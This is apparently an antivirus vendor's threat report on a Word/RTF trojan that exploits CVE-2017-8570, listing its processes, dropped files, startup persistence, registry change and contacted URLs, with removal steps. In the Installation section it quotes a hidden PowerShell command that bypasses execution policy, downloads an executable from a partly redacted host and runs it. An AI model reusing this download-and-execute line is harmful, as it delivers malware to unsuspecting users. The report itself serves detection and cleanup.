Trojan.W97M.CVE20178570.AVV


 ALIASES:

Exploit-cve2017-8570.h (McAfee); HEUR:Trojan-Downloader.VBS.Agent.gen (Kaspersky)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

232,410 bytes

File Type:

RTF

Memory Resident:

Yes

Initial Samples Received Date:

22 Jan 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • "%System%\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://kaiser0900.{BLOCKED}b.ru/bbk.exe','%Application Data%\bbk.exe');Start-Process '%Application Data%\bbk.exe'"
  • PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://kaiser0900.{BLOCKED}b.ru/bbk.exe','%Application Data%\bbk.exe');Start-Process '%Application Data%\bbk.exe'"
  • %Application Data%\bbk.exe
  • "%Application Data%\bbk.exe"
  • %System%\cmd.exe /c %System%\timeout.exe 3 & del "bbk.exe"
  • %System%\lsass.exe
  • %Windows%\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
  • %System%\svchost.exe -k LocalServiceAndNoImpersonation
  • %Windows%\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
  • %System%\sppsvc.exe
  • %System%\svchost.exe -k NetworkService
  • "%System Root%\Program Files\Windows Media Player\wmpnetwk.exe"
  • %System%\timeout.exe 3

It creates the following folders:

  • %User Temp%\2fda
  • %Windows%\ServiceProfiles\NetworkService\AppData\Local\Microsoft
  • %User Profile%\cdpusersvc

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Trojan drops the following file(s) in the Windows User Startup folder to enable its automatic execution at every system startup:

  • %User Startup%\cdpusersvc.url

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

Other System Modifications

This Trojan modifies the following file(s):

  • %Application Data%\bbk.exe

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It modifies the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Dnscache
Type = "16"

(Note: The default value data of the said registry entry is 20.)

Dropping Routine

This Trojan drops the following files:

  • %User Temp%\2fda\softokn3.dll
  • %User Temp%\2fda\vcruntime140.dll
  • %User Temp%\2fda\nssdbm3.dll
  • %User Temp%\2fda\api-ms-win-crt-locale-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-string-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-convert-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-process-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-multibyte-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-processenvironment-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll
  • %User Temp%\2fda\freebl3.dll
  • %User Temp%\2fda\api-ms-win-core-processthreads-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-conio-l1-1-0.dll
  • %User Temp%\123024901782483568907459.tmp-shm
  • %AppDataLocal%\Microsoft\Media Player\CurrentDatabase_372.wmdb
  • %All Users Profile%\hrjytrj.cmd
  • %User Temp%\2fda\api-ms-win-core-file-l2-1-0.dll
  • %User Temp%\Abctfhghghghghg.scT
  • %User Temp%\2fda\api-ms-win-core-profile-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-file-l1-2-0.dll
  • %User Temp%\2fda\api-ms-win-crt-utility-l1-1-0.dll
  • %User Temp%\2fda\nss3.dll
  • {malware file path and name}
  • %User Temp%\2fda\api-ms-win-core-sysinfo-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-errorhandling-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-timezone-l1-1-0.dll
  • %User Temp%\2fda\msvcp140.dll
  • %User Temp%\2fda\api-ms-win-crt-math-l1-1-0.dll
  • %User Temp%\123024901782483568907459.tmp-wal
  • %User Temp%\2fda\api-ms-win-core-util-l1-1-0.dll
  • %Application Data%\bbk.exe
  • %User Temp%\2fda\api-ms-win-crt-filesystem-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-datetime-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-console-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-time-l1-1-0.dll
  • %User Temp%\curbuf.dat
  • %User Temp%\2fda\api-ms-win-core-localization-l1-2-0.dll
  • %User Temp%\2fda\mozglue.dll
  • %User Profile%\cdpusersvc\smss.exe
  • %User Temp%\2fda\api-ms-win-core-debug-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-stdio-l1-1-0.dll
  • %User Profile%\cdpusersvc\cdpusersvc.vbs
  • %User Temp%\2fda\api-ms-win-core-namedpipe-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-processthreads-l1-1-1.dll
  • %User Temp%\2fda\api-ms-win-crt-runtime-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-memory-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-string-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-synch-l1-2-0.dll
  • %User Temp%\2fda\api-ms-win-crt-private-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-heap-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-environment-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-file-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-libraryloader-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-interlocked-l1-1-0.dll
  • %User Temp%\2fda\ucrtbase.dll
  • %User Temp%\2fda\api-ms-win-core-synch-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-heap-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-handle-l1-1-0.dll

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). . %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://kaiser0900.{BLOCKED}b.ru/bbk.exe
  • http://{BLOCKED}in.com

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine:

9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Restart in Safe Mode

[ Learn More ]

Step 3

Identify and terminate files detected as Trojan.W97M.CVE20178570.AVV

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Restore these modified registry values

[ Learn More ]

Important:Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator's help. You may also check out this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Dnscache
    • From: Type = "16"
      To: Type = ""20""

Step 5

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\2fda\softokn3.dll
  • %User Temp%\2fda\vcruntime140.dll
  • %User Temp%\2fda\nssdbm3.dll
  • %User Temp%\2fda\api-ms-win-crt-locale-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-string-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-convert-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-process-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-multibyte-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-processenvironment-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll
  • %User Temp%\2fda\freebl3.dll
  • %User Temp%\2fda\api-ms-win-core-processthreads-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-conio-l1-1-0.dll
  • %User Temp%\123024901782483568907459.tmp-shm
  • %AppDataLocal%\Microsoft\Media Player\CurrentDatabase_372.wmdb
  • %All Users Profile%\hrjytrj.cmd
  • %User Temp%\2fda\api-ms-win-core-file-l2-1-0.dll
  • %User Temp%\Abctfhghghghghg.scT
  • %User Temp%\2fda\api-ms-win-core-profile-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-file-l1-2-0.dll
  • %User Temp%\2fda\api-ms-win-crt-utility-l1-1-0.dll
  • %User Temp%\2fda\nss3.dll
  • {malware file path and name}
  • %User Temp%\2fda\api-ms-win-core-sysinfo-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-errorhandling-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-timezone-l1-1-0.dll
  • %User Temp%\2fda\msvcp140.dll
  • %User Temp%\2fda\api-ms-win-crt-math-l1-1-0.dll
  • %User Temp%\123024901782483568907459.tmp-wal
  • %User Temp%\2fda\api-ms-win-core-util-l1-1-0.dll
  • %Application Data%\bbk.exe
  • %User Temp%\2fda\api-ms-win-crt-filesystem-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-datetime-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-console-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-time-l1-1-0.dll
  • %User Temp%\curbuf.dat
  • %User Temp%\2fda\api-ms-win-core-localization-l1-2-0.dll
  • %User Temp%\2fda\mozglue.dll
  • %User Profile%\cdpusersvc\smss.exe
  • %User Temp%\2fda\api-ms-win-core-debug-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-stdio-l1-1-0.dll
  • %User Profile%\cdpusersvc\cdpusersvc.vbs
  • %User Temp%\2fda\api-ms-win-core-namedpipe-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-processthreads-l1-1-1.dll
  • %User Temp%\2fda\api-ms-win-crt-runtime-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-memory-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-string-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-synch-l1-2-0.dll
  • %User Temp%\2fda\api-ms-win-crt-private-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-heap-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-crt-environment-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-file-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-libraryloader-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-interlocked-l1-1-0.dll
  • %User Temp%\2fda\ucrtbase.dll
  • %User Temp%\2fda\api-ms-win-core-synch-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-heap-l1-1-0.dll
  • %User Temp%\2fda\api-ms-win-core-handle-l1-1-0.dll

Step 6

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %User Temp%\2fda
  • %Windows%\ServiceProfiles\NetworkService\AppData\Local\Microsoft
  • %User Profile%\cdpusersvc

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.W97M.CVE20178570.AVV. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 8

Restore deleted/modified files and/or registry entries from backup

*Note: Only Microsoft-related files/keys/values will be restored. If this malware/grayware also deleted registry keys/values related to programs that are not from Microsoft, please reinstall those programs on your computer.

    • %Application Data%\bbk.exe


Did this description help? Tell us how we did.